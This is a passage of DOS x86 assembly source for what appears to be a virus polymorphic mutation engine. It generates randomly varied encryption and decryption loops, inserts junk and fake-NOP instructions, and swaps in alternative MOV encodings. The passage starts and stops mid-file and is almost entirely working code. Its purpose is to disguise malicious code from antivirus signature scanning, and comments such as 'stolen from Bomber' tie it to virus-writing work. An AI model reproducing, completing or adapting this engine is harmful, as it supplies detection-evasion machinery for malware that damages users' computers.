  1529.                 test    bl,0C                   ;are BL,BH used for encryption?
  1530.  
  1531.                 jnz     v2
  1532.  
  1533.                 mov     byte ptr es:[si],al
  1534.  
  1535.                 mov     si,word ptr ds:[where_len2]
  1536.  
  1537.                 mov     byte ptr es:[si],ah
  1538.  
  1539.                 jmp     short v3
  1540.  
  1541. v2:             mov     word ptr es:[si],ax
  1542.  
  1543.  
  1544.  
  1545. v3:             mov     dx,word ptr ds:[xor_val]   ;encryption value
  1546.  
  1547.  
  1548.  
  1549.                 pop     si                      ;ds:si = start of code
  1550.  
  1551.  
  1552.  
  1553.                 push    di                      ;save ptr to encrypted code
  1554.  
  1555.                 push    cx                      ;save length of encrypted code
  1556.  
  1557.  
  1558.  
  1559.                 test    bl,10                   ;byte or word?
  1560.  
  1561.                 jz      blup
  1562.  
  1563.  
  1564.  
  1565.                 inc     cx                      ;cx = # of crypts (words)
  1566.  
  1567.                 shr     cx,1
  1568.  
  1569.  
  1570.  
  1571. lup:            lodsw                           ;encrypt code (words)
  1572.  
  1573.                 call    do_encrypt
  1574.  
  1575.                 stosw
  1576.  
  1577.                 loop    lup
  1578.  
  1579.                 jmp     short klaar
  1580.  
  1581.  
  1582.  
  1583.  
  1584.  
  1585. blup:           lodsb                           ;encrypt code (bytes)
  1586.  
  1587.                 xor     dh,dh
  1588.  
  1589.                 call    do_encrypt
  1590.  
  1591.                 stosb
  1592.  
  1593.                 loop    blup
  1594.  
  1595.  
  1596.  
  1597. klaar:          mov     cx,di                   ;cx = length decryptpr + code
  1598.  
  1599.                 pop     ax                      ;ax = length of decrypted code
  1600.  
  1601.                 pop     di                      ;di = offset encrypted code
  1602.  
  1603.                 xor     dx,dx                   ;ds:dx = decryptor + cr. code
  1604.  
  1605.                 push    es
  1606.  
  1607.                 pop     ds
  1608.  
  1609.                 ret
  1610.  
  1611.  
  1612.  
  1613.  
  1614.  
  1615. ;****************************************************************************
  1616.  
  1617. ;*              encrypt the code
  1618.  
  1619. ;****************************************************************************
  1620.  
  1621.  
  1622.  
  1623. do_encrypt:     add     dx,word ptr ds:[add_val]
  1624.  
  1625.                 test    bl,2
  1626.  
  1627.                 jnz     lup1
  1628.  
  1629.                 xor     ax,dx
  1630.  
  1631.                 ret
  1632.  
  1633.  
  1634.  
  1635. lup1:           test    bl,1
  1636.  
  1637.                 jnz     lup2
  1638.  
  1639.                 sub     ax,dx
  1640.  
  1641.                 ret
  1642.  
  1643.  
  1644.  
  1645. lup2:           add     ax,dx
  1646.  
  1647.                 ret
  1648.  
  1649.  
  1650.  
  1651.  
  1652.  
  1653. ;****************************************************************************
  1654.  
  1655. ;*              generate mov reg,xxxx
  1656.  
  1657. ;****************************************************************************
  1658.  
  1659.  
  1660.  
  1661. do_mov:         mov     dx,si
  1662.  
  1663.                 mov     al,byte ptr ds:[si+mov_byte]
  1664.  
  1665.                 cmp     dl,4                    ;BX?
  1666.  
  1667.                 jne     is_not_bx
  1668.  
  1669.                 call    add_ind
  1670.  
  1671. is_not_bx:      test    dl,0C                   ;A*?
  1672.  
  1673.                 pushf
  1674.  
  1675.                 jnz     is_not_a
  1676.  
  1677.                 test    bl,80                   ;A* or D*?
  1678.  
  1679.                 jz      is_not_a
  1680.  
  1681.                 add     al,2
  1682.  
  1683.  
  1684.  
  1685. is_not_a:       call    alter                   ;insert the MOV
  1686.  
  1687.  
  1688.  
  1689.                 popf                            ;A*?
  1690.  
  1691.                 jnz     is_not_a2
  1692.  
  1693.                 mov     ax,word ptr ds:[xor_val]
  1694.  
  1695.                 jmp     short sss
  1696.  
  1697.  
  1698.  
  1699. is_not_a2:      test    dl,8                    ;B*?
  1700.  
  1701.                 jnz     is_not_b
  1702.  
  1703.                 mov     si,offset where_len                
  1704.  
  1705.                 test    dl,2
  1706.  
  1707.                 jz      is_not_bh
  1708.  
  1709.                 add     si,2
  1710.  
  1711. is_not_bh:      mov     word ptr ds:[si],di
  1712.  
  1713.                 jmp     short sss
  1714.  
  1715.  
  1716.  
  1717. is_not_b:       mov     ax,cx                   ;C*
  1718.  
  1719.                 test    bl,10                   ;byte or word encryption?
  1720.  
  1721.                 jz      sss
  1722.  
  1723.                 inc     ax                      ;only half the number of bytes
  1724.  
  1725.                 shr     ax,1
  1726.  
  1727. sss:            test    dl,3                    ;byte or word register?
  1728.  
  1729.                 jz      is_x
  1730.  
  1731.                 test    dl,2                    ;*H?
  1732.  
  1733.                 jz      is_not_h
  1734.  
  1735.                 xchg    al,ah
  1736.  
  1737. is_not_h:       stosb
  1738.  
  1739.                 ret
  1740.  
  1741.  
  1742.  
  1743. is_x:           stosw
  1744.  
  1745.                 ret
  1746.  
  1747.  
  1748.  
  1749.  
  1750.  
  1751. ;****************************************************************************
  1752.  
  1753. ;*              insert MOV or alternative for MOV
  1754.  
  1755. ;****************************************************************************
  1756.  
  1757.  
  1758.  
  1759. alter:          push    bx
  1760.  
  1761.                 push    cx
  1762.  
  1763.                 push    ax
  1764.  
  1765.                 call    rnd_get
  1766.  
  1767.                 xchg    ax,bx
  1768.  
  1769.                 pop     ax
  1770.  
  1771.                 test    bl,3                    ;use alternative for MOV?
  1772.  
  1773.                 jz      no_alter
  1774.  
  1775.  
  1776.  
  1777.                 push    ax
  1778.  
  1779.                 and     bx,0F
  1780.  
  1781.                 and     al,08
  1782.  
  1783.                 shl     ax,1
  1784.  
  1785.                 or      bx,ax
  1786.  
  1787.                 pop     ax
  1788.  
  1789.  
  1790.  
  1791.                 and     al,7
  1792.  
  1793.                 mov     cl,9
  1794.  
  1795.                 xchg    ax,cx
  1796.  
  1797.                 mul     cl
  1798.  
  1799.  
  1800.  
  1801.                 add     ax,30C0
  1802.  
  1803.                 xchg    al,ah
  1804.  
  1805.                 test    bl,4
  1806.  
  1807.                 jz      no_sub
  1808.  
  1809.                 mov     al,28
  1810.  
  1811. no_sub:         call    maybe_2
  1812.  
  1813.                 stosw
  1814.  
  1815.  
  1816.  
  1817.                 mov     al,80
  1818.  
  1819.                 call    maybe_2
  1820.  
  1821.                 stosb
  1822.  
  1823.  
  1824.  
  1825.                 mov     ax,offset add_mode
  1826.  
  1827.                 xchg    ax,bx
  1828.  
  1829.                 and     ax,3
  1830.  
  1831.                 xlat
  1832.  
  1833.  
  1834.  
  1835.                 add     al,cl
  1836.  
  1837. no_alter:       stosb
  1838.  
  1839.                 pop     cx
  1840.  
  1841.                 pop     bx
  1842.  
  1843.                 ret
  1844.  
  1845.  
  1846.  
  1847.  
  1848.  
  1849. ;****************************************************************************
  1850.  
  1851. ;*              insert ADD AX,xxxx
  1852.  
  1853. ;****************************************************************************
  1854.  
  1855.  
  1856.  
  1857. do_add_ax:      push    cx
  1858.  
  1859.                 mov     si,offset add_val       ;save add-value here
  1860.  
  1861.                 mov     word ptr ds:[si],0
  1862.  
  1863.                 mov     ax,bx
  1864.  
  1865.                 and     ax,8110
  1866.  
  1867.                 xor     ax,8010
  1868.  
  1869.                 jnz     no_add_ax               ;use ADD?
  1870.  
  1871.  
  1872.  
  1873.                 mov     ax,bx
  1874.  
  1875.                 xor     ah,ah
  1876.  
  1877.                 mov     cl,3
  1878.  
  1879.                 div     cl
  1880.  
  1881.                 or      ah,ah
  1882.  
  1883.                 jnz     no_add_ax               ;use ADD?
  1884.  
  1885.  
  1886.  
  1887.                 test    bl,80
  1888.  
  1889.                 jnz     do_81C2                 ;AX or DX?
  1890.  
  1891.                 mov     al,5
  1892.  
  1893.                 stosb
  1894.  
  1895.                 jmp     short do_add0
  1896.  
  1897. do_81C2:        mov     ax,0C281
  1898.  
  1899.                 stosw
  1900.  
  1901. do_add0:        call    rnd_get
  1902.  
  1903.                 mov     word ptr ds:[si],ax
  1904.  
  1905.                 stosw
  1906.  
  1907. no_add_ax:      pop     cx
  1908.  
  1909.                 ret
  1910.  
  1911.  
  1912.  
  1913.  
  1914.  
  1915. ;****************************************************************************
  1916.  
  1917. ;*              generate encryption command
  1918.  
  1919. ;****************************************************************************
  1920.  
  1921.  
  1922.  
  1923. do_xor:         test    byte ptr ds:[flags],1
  1924.  
  1925.                 jz      no_cs
  1926.  
  1927.                 mov     al,2E                   ;insert CS: instruction
  1928.  
  1929.                 stosb
  1930.  
  1931.  
  1932.  
  1933. no_cs:          test    bh,80                   ;type of XOR command
  1934.  
  1935.                 jz      xor1
  1936.  
  1937.  
  1938.  
  1939.                 call    get_xor                 ;encrypt with register
  1940.  
  1941.                 call    do_carry
  1942.  
  1943.                 call    save_it
  1944.  
  1945.                 xor     ax,ax
  1946.  
  1947.                 test    bl,80
  1948.  
  1949.                 jz      xxxx
  1950.  
  1951.                 add     al,10
  1952.  
  1953. xxxx:           call    add_dir
  1954.  
  1955.                 test    bh,8
  1956.  
  1957.                 jnz     yyyy
  1958.  
  1959.                 stosb
  1960.  
  1961.                 ret
  1962.  
  1963.  
  1964.  
  1965. yyyy:           or      al,80
  1966.  
  1967.                 stosb             
  1968.  
  1969.                 call    rnd_get
  1970.  
  1971.                 stosw
  1972.  
  1973.                 mov     word ptr ds:[xor_offset],ax
  1974.  
  1975.                 ret
  1976.  
  1977.  
  1978.  
  1979. xor1:           mov     al,080                  ;encrypt with value
  1980.  
  1981.                 call    save_it
  1982.  
  1983.                 call    get_xor
  1984.  
  1985.                 call    do_carry
  1986.  
  1987.                 call    xxxx
  1988.  
  1989.                 mov     ax,word ptr ds:[xor_val]
  1990.  
  1991.                 test    bl,10
  1992.  
  1993.                 jmp     byte_word
  1994.  
  1995.  
  1996.  
  1997.  
  1998.  
  1999. ;****************************************************************************
  2000.  
  2001. ;*              generate increase/decrease command
  2002.  
  2003. ;****************************************************************************
  2004.  
  2005.  
  2006.  
  2007. do_add:         test    bl,8                    ;no CMPSW/SCASW if BX is used
  2008.  
  2009.                 jz      da0
  2010.  
  2011.                 test    bh,2                    ;ADD/SUB/INC/DEC or CMPSW/SCASW
  2012.  
  2013.                 jnz     do_cmpsw
  2014.  
  2015.  
  2016.  
  2017. da0:            test    bh,4                    ;ADD/SUB or INC/DEC?
  2018.  
  2019.                 jz      add1
  2020.  
  2021.  
  2022.  
  2023.                 mov     al,40                   ;INC/DEC
  2024.  
  2025.                 test    bh,1                    ;up or down?
  2026.  
  2027.                 jz      add0
  2028.  
  2029.                 add     al,8
  2030.  
  2031. add0:           call    add_ind
  2032.  
  2033.                 stosb
  2034.  
  2035.                 test    bl,10                   ;byte or word?
  2036.  
  2037.                 jz      return
  2038.  
  2039.                 stosb                           ;same instruction again
  2040.  
  2041. return:         ret
  2042.  
  2043.  
  2044.  
  2045. add1:           test    bh,40                   ;ADD/SUB
  2046.  
  2047.                 jz      no_clc2                 ;carry?
  2048.  
  2049.                 mov     al,0F8                  ;insert CLC
  2050.  
  2051.                 stosb
  2052.  
  2053. no_clc2:        mov     al,083
  2054.  
  2055.                 stosb
  2056.  
  2057.                 mov     al,0C0
  2058.  
  2059.                 test    bh,1                    ;up or down?
  2060.  
  2061.                 jz      add2
  2062.  
  2063.                 mov     al,0E8
  2064.  
  2065. add2:           test    bh,40                   ;carry?
  2066.  
  2067.                 jz      no_ac2
  2068.  
  2069.                 and     al,0CF
  2070.  
  2071.                 or      al,10
  2072.  
  2073. no_ac2:         call    add_ind
  2074.  
  2075.                 stosb
  2076.  
  2077.                 mov     al,1                    ;value to add/sub
  2078.  
  2079. save_it:        call    add_1
  2080.  
  2081.                 stosb
  2082.  
  2083.                 ret
  2084.  
  2085.  
  2086.  
  2087. do_cmpsw:       test    bh,1                    ;up or down?
  2088.  
  2089.                 jz      no_std
  2090.  
  2091.                 mov     al,0FDh                 ;insert STD
  2092.  
  2093.                 stosb
  2094.  
  2095. no_std:         test    bh,4                    ;CMPSW or SCASW?
  2096.  
  2097.                 jz      normal_cmpsw
  2098.  
  2099.                 test    bl,4                    ;no SCASW if SI is used
  2100.  
  2101.                 jnz     do_scasw
  2102.  
  2103.  
  2104.  
  2105. normal_cmpsw:   mov     al,0A6                  ;CMPSB
  2106.  
  2107.                 jmp     short save_it
  2108.  
  2109. do_scasw:       mov     al,0AE                  ;SCASB
  2110.  
  2111.                 jmp     short save_it
  2112.  
  2113.  
  2114.  
  2115.  
  2116.  
  2117. ;****************************************************************************
  2118.  
  2119. ;*              generate loop command
  2120.  
  2121. ;****************************************************************************
  2122.  
  2123.  
  2124.  
  2125. do_loop:        test    bh,1                    ;no JNE if couting down
  2126.  
  2127.                 jnz     loop_loop               ;  (prefetch bug!)
  2128.  
  2129.                 call    rnd_get
  2130.  
  2131.                 test    al,1                    ;LOOPNZ/LOOP or JNE?
  2132.  
  2133.                 jnz     cx_loop
  2134.  
  2135.  
  2136.  
  2137. loop_loop:      mov     al,0E0
  2138.  
  2139.                 test    bh,1A                   ;LOOPNZ or LOOP?
  2140.  
  2141.                 jz      ll0                     ;  no LOOPNZ if xor-offset
  2142.  
  2143.                 add     al,2                    ;  no LOOPNZ if CMPSW/SCASW
  2144.  
  2145. ll0:            stosb
  2146.  
  2147.                 mov     ax,dx
  2148.  
  2149.                 sub     ax,di
  2150.  
  2151.                 dec     ax
  2152.  
  2153.                 stosb
  2154.  
  2155.                 ret
  2156.  
  2157.  
  2158.  
  2159. cx_loop:        test    bh,10                   ;SUB CX or DEC CX?
  2160.  
  2161.                 jnz     cxl_dec
  2162.  
  2163.                 mov     ax,0E983
  2164.  
  2165.                 stosw
  2166.  
  2167.                 mov     al,1
  2168.  
  2169.                 stosb
  2170.  
  2171.                 jmp     short do_jne                
  2172.  
  2173.  
  2174.  
  2175. cxl_dec:        mov     al,49
  2176.  
  2177.                 stosb
  2178.  
  2179. do_jne:         mov     al,75
  2180.  
  2181.                 jmp     short ll0
  2182.  
  2183.  
  2184.  
  2185.  
  2186.  
  2187. ;****************************************************************************
  2188.  
  2189. ;*              add value to AL depending on register type
  2190.  
  2191. ;****************************************************************************
  2192.  
  2193.  
  2194.  
  2195. add_dir:        mov     si,offset dir_change
  2196.  
  2197.                 jmp     short xx1
  2198.  
  2199.  
  2200.  
  2201. add_ind:        mov     si,offset ind_change
  2202.  
  2203. xx1:            push    bx
  2204.  
  2205.                 shr     bl,1
  2206.  
  2207.                 shr     bl,1
  2208.  
  2209.                 and     bx,3
  2210.  
  2211.                 add     al,byte ptr ds:[bx+si]
  2212.  
  2213.                 pop     bx
  2214.  
  2215.                 ret
  2216.  
  2217.  
  2218.  
  2219.  
  2220.  
  2221. ;****************************************************************************
  2222.  
  2223. ;*              mov encryption command byte to AL
  2224.  
  2225. ;****************************************************************************
  2226.  
  2227.  
  2228.  
  2229. get_xor:        push    bx
  2230.  
  2231.                 mov     ax,offset how_mode
  2232.  
  2233.                 xchg    ax,bx
  2234.  
  2235.                 and     ax,3
  2236.  
  2237.                 xlat
  2238.  
  2239.                 pop     bx
  2240.  
  2241.                 ret
  2242.  
  2243.  
  2244.  
  2245.  
  2246.  
  2247. ;****************************************************************************
  2248.  
  2249. ;*              change ADD into ADC
  2250.  
  2251. ;****************************************************************************
  2252.  
  2253.  
  2254.  
  2255. do_carry:       test    bl,2                    ;ADD/SUB used for encryption?
  2256.  
  2257.                 jz      no_ac
  2258.  
  2259.                 test    bh,20                   ;carry with (encr.) ADD/SUB?
  2260.  
  2261.                 jz      no_ac
  2262.  
  2263.                 and     al,0CF
  2264.  
  2265.                 or      al,10
  2266.  
  2267. no_ac:          ret
  2268.  
  2269.  
  2270.  
  2271.  
  2272.  
  2273. ;****************************************************************************
  2274.  
  2275. ;*              change AL (byte/word)
  2276.  
  2277. ;****************************************************************************
  2278.  
  2279.  
  2280.  
  2281. add_1:          test    bl,10
  2282.  
  2283.                 jz      add_1_ret
  2284.  
  2285.                 inc     al
  2286.  
  2287. add_1_ret:      ret
  2288.  
  2289.  
  2290.  
  2291.  
  2292.  
  2293. ;****************************************************************************
  2294.  
  2295. ;*              change AL (byte/word)
  2296.  
  2297. ;****************************************************************************
  2298.  
  2299.  
  2300.  
  2301. maybe_2:        call    add_1
  2302.  
  2303.                 cmp     al,81                   ;can't touch this
  2304.  
  2305.                 je      maybe_not
  2306.  
  2307.                 push    ax
  2308.  
  2309.                 call    rnd_get
  2310.  
  2311.                 test    al,1
  2312.  
  2313.                 pop     ax
  2314.  
  2315.                 jz      maybe_not
  2316.  
  2317.                 add     al,2
  2318.  
  2319. maybe_not:      ret
  2320.  
  2321.  
  2322.  
  2323.  
  2324.  
  2325. ;****************************************************************************
  2326.  
  2327. ;*              get random nop (or not)
  2328.  
  2329. ;****************************************************************************
  2330.  
  2331.  
  2332.  
  2333. do_nop:         test    byte ptr ds:[flags],2
  2334.  
  2335.                 jz      no_nop
  2336.  
  2337. yes_nop:        call    rnd_get
  2338.  
  2339.                 test    al,3
  2340.  
  2341.                 jz      nop8
  2342.  
  2343.                 test    al,2
  2344.  
  2345.                 jz      nop16
  2346.  
  2347.                 test    al,1
  2348.  
  2349.                 jz      nop16x
  2350.  
  2351. no_nop:         ret
  2352.  
  2353.  
  2354.  
  2355.  
  2356.  
  2357. ;****************************************************************************
  2358.  
  2359. ;*              Insert random instructions
  2360.  
  2361. ;****************************************************************************
  2362.  
  2363.  
  2364.  
  2365. do_junk:        test    byte ptr ds:[flags],4
  2366.  
  2367.                 jz      no_junk
  2368.  
  2369.                 call    rnd_get                 ;put a random number of
  2370.  
  2371.                 and     ax,0F                   ;  dummy instructions before
  2372.  
  2373.                 inc     ax                      ;  decryptor
  2374.  
  2375.                 xchg    ax,cx
  2376.  
  2377. junk_loop:      call    junk
  2378.  
  2379.                 loop    junk_loop
  2380.  
  2381. no_junk:        ret
  2382.  
  2383.  
  2384.  
  2385.  
  2386.  
  2387. ;****************************************************************************
  2388.  
  2389. ;*              get rough random nop (may affect register values)
  2390.  
  2391. ;****************************************************************************
  2392.  
  2393.  
  2394.  
  2395. junk:           call    rnd_get
  2396.  
  2397.                 and     ax,1E
  2398.  
  2399.                 jmp     short aa0
  2400.  
  2401. nop16x:         call    rnd_get
  2402.  
  2403.                 and     ax,06
  2404.  
  2405. aa0:            xchg    ax,si
  2406.  
  2407.                 call    rnd_get
  2408.  
  2409.                 jmp     word ptr ds:[si+junkcals]
  2410.  
  2411.  
  2412.  
  2413.  
  2414.  
  2415. ;****************************************************************************
  2416.  
  2417. ;*              NOP and junk addresses
  2418.  
  2419. ;****************************************************************************
  2420.  
  2421.  
  2422.  
  2423. junkcals        dw      offset nop16x0
  2424.  
  2425.                 dw      offset nop16x1
  2426.  
  2427.                 dw      offset nop16x2
  2428.  
  2429.                 dw      offset nop16x3
  2430.  
  2431.                 dw      offset nop8
  2432.  
  2433.                 dw      offset nop16
  2434.  
  2435.                 dw      offset junk6
  2436.  
  2437.                 dw      offset junk7
  2438.  
  2439.                 dw      offset junk8
  2440.  
  2441.                 dw      offset junk9
  2442.  
  2443.                 dw      offset junkA
  2444.  
  2445.                 dw      offset junkB
  2446.  
  2447.                 dw      offset junkC
  2448.  
  2449.                 dw      offset junkD
  2450.  
  2451.                 dw      offset junkE
  2452.  
  2453.                 dw      offset junkF
  2454.  
  2455.  
  2456.  
  2457.  
  2458.  
  2459. ;****************************************************************************
  2460.  
  2461. ;*              NOP and junk routines
  2462.  
  2463. ;****************************************************************************
  2464.  
  2465.  
  2466.  
  2467. nop16x0:        and     ax,000F                 ;J* 0000 (conditional)
  2468.  
  2469.                 or      al,70
  2470.  
  2471.                 stosw
  2472.  
  2473.                 ret
  2474.  
  2475.  
  2476.  
  2477.  
  2478.  
  2479. nop16x1:        mov     al,0EBh                 ;JMP xxxx / junk
  2480.  
  2481.                 and     ah,07
  2482.  
  2483.                 inc     ah
  2484.  
  2485.                 stosw
  2486.  
  2487.                 xchg    al,ah                   ;get lenght of bullshit
  2488.  
  2489.                 cbw
  2490.  
  2491.                 jmp     fill_bullshit
  2492.  
  2493.  
  2494.  
  2495.  
  2496.  
  2497. nop16x2:        call    junkD                   ;XCHG AX,reg / XCHG AX,reg
  2498.  
  2499.                 stosb
  2500.  
  2501.                 ret
  2502.  
  2503.  
  2504.  
  2505.  
  2506.  
  2507. nop16x3:        call    junkF                   ;INC / DEC or DEC / INC
  2508.  
  2509.                 xor     al,8
  2510.  
  2511.                 stosb
  2512.  
  2513.                 ret
  2514.  
  2515.  
  2516.  
  2517.  
  2518.  
  2519. nop8:           push    bx                      ;8-bit NOP
  2520.  
  2521.                 and     al,7
  2522.  
  2523.                 mov     bx,offset nop_data8
  2524.  
  2525.                 xlat
  2526.  
  2527.                 stosb
  2528.  
  2529.                 pop     bx
  2530.  
  2531.                 ret
  2532.  
  2533.  
  2534.  
  2535.  
  2536.  
  2537. nop16:          push    bx                      ;16-bit NOP
  2538.  
  2539.                 and     ax,0303
  2540.  
  2541.                 mov     bx,offset nop_data16
  2542.  
  2543.                 xlat
  2544.  
  2545.                 add     al,ah
  2546.  
  2547.                 stosb
  2548.  
  2549.                 call    rnd_get
  2550.  
  2551.                 and     al,7
  2552.  
  2553.                 mov     bl,9
  2554.  
  2555.                 mul     bl
  2556.  
  2557.                 add     al,0C0
  2558.  
  2559.                 stosb
  2560.  
  2561.                 pop     bx
  2562.  
  2563.                 ret
  2564.  
  2565.  
  2566.  
  2567.  
  2568.  
  2569. junk6:          push    cx                      ;CALL xxxx / junk / POP reg
  2570.  
  2571.                 mov     al,0E8
  2572.  
  2573.                 and     ah,0F
  2574.  
  2575.                 inc     ah
  2576.  
  2577.                 stosw
  2578.  
  2579.                 xor     al,al
  2580.  
  2581.                 stosb
  2582.  
  2583.                 xchg    al,ah
  2584.  
  2585.                 call    fill_bullshit
  2586.  
  2587.                 call    do_nop
  2588.  
  2589.                 call    rnd_get                 ;insert POP reg
  2590.  
  2591.                 and     al,7
  2592.  
  2593.                 call    no_sp
  2594.  
  2595.                 mov     cx,ax
  2596.  
  2597.                 or      al,58
  2598.  
  2599.                 stosb
  2600.  
  2601.  
  2602.  
  2603.                 test    ch,3                    ;more?
  2604.  
  2605.                 jnz     junk6_ret
  2606.  
  2607.  
  2608.  
  2609.                 call    do_nop
  2610.  
  2611.                 mov     ax,0F087                ;insert XCHG SI,reg
  2612.  
  2613.                 or      ah,cl
  2614.  
  2615.                 test    ch,8
  2616.  
  2617.                 jz      j6_1
  2618.  
  2619.                 mov     al,8Bh
  2620.  
  2621. j6_1:           stosw
  2622.  
  2623.  
  2624.  
  2625.                 call    do_nop
  2626.  
  2627.                 push    bx
  2628.  
  2629.                 call    rnd_get
  2630.  
  2631.                 xchg    ax,bx
  2632.  
  2633.                 and     bx,0F7FBh               ;insert XOR [SI],xxxx
  2634.  
  2635.                 or      bl,8
  2636.  
  2637.                 call    do_xor
  2638.  
  2639.                 pop     bx
  2640.  
  2641. junk6_ret:      pop     cx
  2642.  
  2643.                 ret
  2644.  
  2645.  
  2646.  
  2647.  
  2648.  
  2649. junk7:          and     al,0F                   ;MOV reg,xxxx
  2650.  
  2651.                 or      al,0B0
  2652.  
  2653.                 call    no_sp
  2654.  
  2655.                 stosb
  2656.  
  2657.                 test    al,8
  2658.  
  2659.                 pushf
  2660.  
  2661.                 call    rnd_get
  2662.  
  2663.                 popf
  2664.  
  2665.                 jmp     short byte_word
  2666.  
  2667.  
  2668.  
  2669.  
  2670.  
  2671. junk8:          and     ah,39                   ;DO r/m,r(8/16)
  2672.  
  2673.                 or      al,0C0
  2674.  
  2675.                 call    no_sp
  2676.  
  2677.                 xchg    al,ah
  2678.  
  2679.                 stosw
  2680.  
  2681.                 ret
  2682.  
  2683.  
  2684.  
  2685.  
  2686.  
  2687. junk9:          and     al,3Bh                  ;DO r(8/16),r/m
  2688.  
  2689.                 or      al,2
  2690.  
  2691.                 and     ah,3F
  2692.  
  2693.                 call    no_sp2
  2694.  
  2695.                 call    no_bp
  2696.  
  2697.                 stosw
  2698.  
  2699.                 ret
  2700.  
  2701.  
  2702.  
  2703.  
  2704.  
  2705. junkA:          and     ah,1                    ;DO rm,xxxx
  2706.  
  2707.                 or      ax,80C0
  2708.  
  2709.                 call    no_sp
  2710.  
  2711.                 xchg    al,ah       
  2712.  
  2713.                 stosw
  2714.  
  2715.                 test    al,1
  2716.  
  2717.                 pushf
  2718.  
  2719.                 call    rnd_get
  2720.  
  2721.                 popf
  2722.  
  2723.                 jmp     short byte_word
  2724.  
  2725.  
  2726.  
  2727.  
  2728.  
  2729. junkB:          call    nop8                    ;NOP / LOOP
  2730.  
  2731.                 mov     ax,0FDE2
  2732.  
  2733.                 stosw
  2734.  
  2735.                 ret
  2736.  
  2737.  
  2738.  
  2739.  
  2740.  
  2741. junkC:          and     al,09                   ;CMPS* or SCAS*
  2742.  
  2743.                 test    ah,1
  2744.  
  2745.                 jz      mov_test
  2746.  
  2747.                 or      al,0A6
  2748.  
  2749.                 stosb
  2750.  
  2751.                 ret
  2752.  
  2753. mov_test:       or      al,0A0                  ;MOV AX,[xxxx] or TEST AX,xxxx
  2754.  
  2755.                 stosb
  2756.  
  2757.                 cmp     al,0A8
  2758.  
  2759.                 pushf
  2760.  
  2761.                 call    rnd_get
  2762.  
  2763.                 popf
  2764.  
  2765.                 jmp     short byte_word
  2766.  
  2767.  
  2768.  
  2769.  
  2770.  
  2771. junkD:          and     al,07                   ;XCHG AX,reg
  2772.  
  2773.                 or      al,90
  2774.  
  2775.                 call    no_sp
  2776.  
  2777.                 stosb
  2778.  
  2779.                 ret
  2780.  
  2781.  
  2782.  
  2783.  
  2784.  
  2785. junkE:          and     ah,07                   ;PUSH reg / POP reg
  2786.  
  2787.                 or      ah,50
  2788.  
  2789.                 mov     al,ah
  2790.  
  2791.                 or      ah,08
  2792.  
  2793.                 stosw
  2794.  
  2795.                 ret
  2796.  
  2797.  
  2798.  
  2799.  
  2800.  
  2801. junkF:          and     al,0F                   ;INC / DEC
  2802.  
  2803.                 or      al,40
  2804.  
  2805.                 call    no_sp
  2806.  
  2807.                 stosb
  2808.  
  2809.                 ret
  2810.  
  2811.  
  2812.  
  2813.  
  2814.  
  2815. ;****************************************************************************
  2816.  
  2817. ;*              store a byte or a word
  2818.  
  2819. ;****************************************************************************
  2820.  
  2821.  
  2822.  
  2823. byte_word:      jz      only_byte
  2824.  
  2825.                 stosw
  2826.  
  2827.                 ret
  2828.  
  2829.  
  2830.  
  2831. only_byte:      stosb
  2832.  
  2833.                 ret
  2834.  
  2835.  
  2836.  
  2837.  
  2838.  
  2839. ;****************************************************************************
  2840.  
  2841. ;*              don't fuck with SP!
  2842.  
  2843. ;****************************************************************************
  2844.  
  2845.  
  2846.  
  2847. no_sp:          push    ax
  2848.  
  2849.                 and     al,7
  2850.  
  2851.                 cmp     al,4
  2852.  
  2853.                 pop     ax
  2854.  
  2855.                 jnz     no_sp_ret
  2856.  
  2857.                 and     al,0FBh
  2858.  
  2859. no_sp_ret:      ret
  2860.  
  2861.  
  2862.  
  2863.  
  2864.  
  2865. ;****************************************************************************
  2866.  
  2867. ;*              don't fuck with SP!
  2868.  
  2869. ;****************************************************************************
  2870.  
  2871.  
  2872.  
  2873. no_sp2:         push    ax
  2874.  
  2875.                 and     ah,38
  2876.  
  2877.                 cmp     ah,20
  2878.  
  2879.                 pop     ax
  2880.  
  2881.                 jnz     no_sp2_ret
  2882.  
  2883.                 xor     ah,20
  2884.  
  2885. no_sp2_ret:     ret
  2886.  
  2887.  
  2888.  
  2889.  
  2890.  
  2891. ;****************************************************************************
  2892.  
  2893. ;*              don't use [BP+..]
  2894.  
  2895. ;****************************************************************************
  2896.  
  2897.  
  2898.  
  2899. no_bp:          test    ah,4
  2900.  
  2901.                 jnz     no_bp2
  2902.  
  2903.                 and     ah,0FDh
  2904.  
  2905.                 ret
  2906.  
  2907.  
  2908.  
  2909. no_bp2:         push    ax
  2910.  
  2911.                 and     ah,7
  2912.  
  2913.                 cmp     ah,6
  2914.  
  2915.                 pop     ax
  2916.  
  2917.                 jnz     no_bp_ret
  2918.  
  2919.                 or      ah,1
  2920.  
  2921. no_bp_ret:      ret
  2922.  
  2923.  
  2924.  
  2925.  
  2926.  
  2927. ;****************************************************************************
  2928.  
  2929. ;*              write byte for JMP/CALL and fill with random bullshit
  2930.  
  2931. ;****************************************************************************
  2932.  
  2933.  
  2934.  
  2935. fill_bullshit:  push    cx
  2936.  
  2937.                 xchg    ax,cx
  2938.  
  2939. bull_lup:       call    rnd_get
  2940.  
  2941.                 stosb
  2942.  
  2943.                 loop    bull_lup
  2944.  
  2945.                 pop     cx
  2946.  
  2947.                 ret
  2948.  
  2949.  
  2950.  
  2951.  
  2952.  
  2953. ;****************************************************************************
  2954.  
  2955. ;*              random number generator  (stolen from 'Bomber')
  2956.  
  2957. ;****************************************************************************
  2958.  
  2959.  
  2960.  
  2961. rnd_init:       push    cx
  2962.  
  2963.                 call    rnd_init0               ;init
  2964.  
  2965.                 and     ax,000F
  2966.  
  2967.                 inc     ax
  2968.  
  2969.                 xchg    ax,cx
  2970.  
  2971. random_lup:     call    rnd_get                 ;call random routine a few
  2972.  
  2973.                 loop    random_lup              ;  times to 'warm up'
  2974.  
  2975.                 pop     cx
  2976.  
  2977.                 ret
  2978.  
  2979.  
  2980.  
  2981. rnd_init0:      push    dx                      ;initialize generator
  2982.  
  2983.                 push    cx
  2984.  
  2985.                 mov     ah,2C
  2986.  
  2987.                 int     21
  2988.  
  2989.                 in      al,40
  2990.  
  2991.                 mov     ah,al
  2992.  
  2993.                 in      al,40
  2994.  
  2995.                 xor     ax,cx
  2996.  
  2997.                 xor     dx,ax
  2998.  
  2999.                 jmp     short move_rnd
  3000.  
  3001.  
  3002.  
  3003. rnd_get:        push    dx                      ;calculate a random number
  3004.  
  3005.                 push    cx
  3006.  
  3007.                 push    bx
  3008.  
  3009.                 mov     ax,0                    ;will be: mov ax,xxxx
  3010.  
  3011.                 mov     dx,0                    ;  and mov dx,xxxx
  3012.  
